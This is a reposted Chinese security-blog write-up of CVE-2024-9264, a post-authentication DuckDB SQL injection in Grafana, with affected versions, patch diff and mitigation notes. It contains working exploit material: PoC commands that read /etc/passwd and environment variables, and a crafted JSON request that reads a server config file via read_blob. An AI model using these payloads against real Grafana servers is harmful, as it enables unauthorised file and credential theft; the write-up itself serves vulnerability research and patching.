[Poc]-CVE-2024-9264 Grafana Post-Auth DuckDB SQL Injection

admin 2024年10月21日16:08:00评论79 views字数 2707阅读9分1秒阅读模式

【🔔】互联网资料/工具,安全性未知,需要自行研判安全性。

PoC

此 PoC 演示了利用经过身份验证的用户执行 DuckDB SQL 查询并读取文件系统上的任意文件来利用 CVE-2024-9264。

  • 安装依赖

pip install -r requirements.txt
  • 使用 (File Read Example):

python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

您还可以执行任意 DuckDB 查询,例如调用getenv来检索环境变量:

python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

漏洞概览

CVE-2024-9264 is a DuckDB SQL injection vulnerability in Grafana's experimental SQL Expressions feature. Any authenticated user can execute arbitrary DuckDB SQL queries through modified expressions in Grafana dashboards.

影响版本

Grafana OSS and Enterprise versions 11.0.0 - 11.0.5, 11.1.0 - 11.1.6, and 11.2.0 - 11.2.1.

修复建议

11.0.5+security-01 and higher

可利用成都

需要注意的是,虽然此漏洞很严重,但其可利用性取决于 Grafana 服务器上是否安装了 DuckDB 二进制文件。默认情况下,Grafana 不附带安装 DuckDB ,并且没有选项可以直接从 Grafana 界面安装它。

要利用此漏洞,管理员必须手动安装 DuckDB 并将其添加到 Grafana 服务器的$PATH中。如果 DuckDB 不存在,则无法利用 SQL 注入漏洞,从而显着降低在默认安装中成功利用的可能性。

补丁点

Grafana发布了特殊版本来修复此漏洞。要分析补丁,可以使用以下命令来比较更改:

git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

这表明 SQL 表达式功能只是从易受攻击的版本中删除。

+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (

"errors"

"github.com/grafana/grafana-plugin-sdk-go/data"
+)


+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {

return nil, errors.New("not implemented")
+}


+func (db *DB) RunCommands(commands []string) (string, error) {

return "", errors.New("not implemented")
+}


+func (db *DB) QueryFramesInto(name string, query string, frames []* data.Frame, f *data.Frame) error {

return errors.New("not implemented")
+}

+func NewInMemoryDB() *DB {

return &DB{}
+}

该补丁完全删除了 SQL 表达式,防止了被利用的可能性。


@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V

rsp := mathexp.Results{}

duckDB := duck.NewInMemoryDB()

duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
The patch removes SQL Expressions entirely, preventing the possibility of exploitation.

Exploiting the Vulnerability

  1. 启动 Grafana :使用版本 11.0.5 运行 Grafana:

docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
  1. 修改表达式:使用“Math”等表达式创建仪表板,使用 Burp 拦截请求,并将datasource类型从math修改为sql 。

    HTTP 请求将发送至 /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101。

    以下是执行 DuckDB SQL 查询以读取任意文件(如./conf/ldap.toml所需的最小 JSON:

{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob("./conf/ldap.toml")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}

实际利用不需要提供仪表板,这只是查找执行查询的 HTTP 请求的简单方法。

参考链接

  1. CVE-2-24-9264 https://github.com/nollium/CVE-2024-9264

  2. Grafana 官方通告:https://grafana.com/security/security-advisories/cve-2024-9264/

  3. DuckDB函数列表:https://duckdb.org/docs/sql/functions/utility

[Poc]-CVE-2024-9264 Grafana Post-Auth DuckDB SQL Injection

原文始发于微信公众号(埋藏酱油瓶):[Poc]-CVE-2024-9264 Grafana Post-Auth DuckDB SQL Injection

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日16:08:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Poc]-CVE-2024-9264 Grafana Post-Auth DuckDB SQL Injectionhttps://cn-sec.com/archives/3294988.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息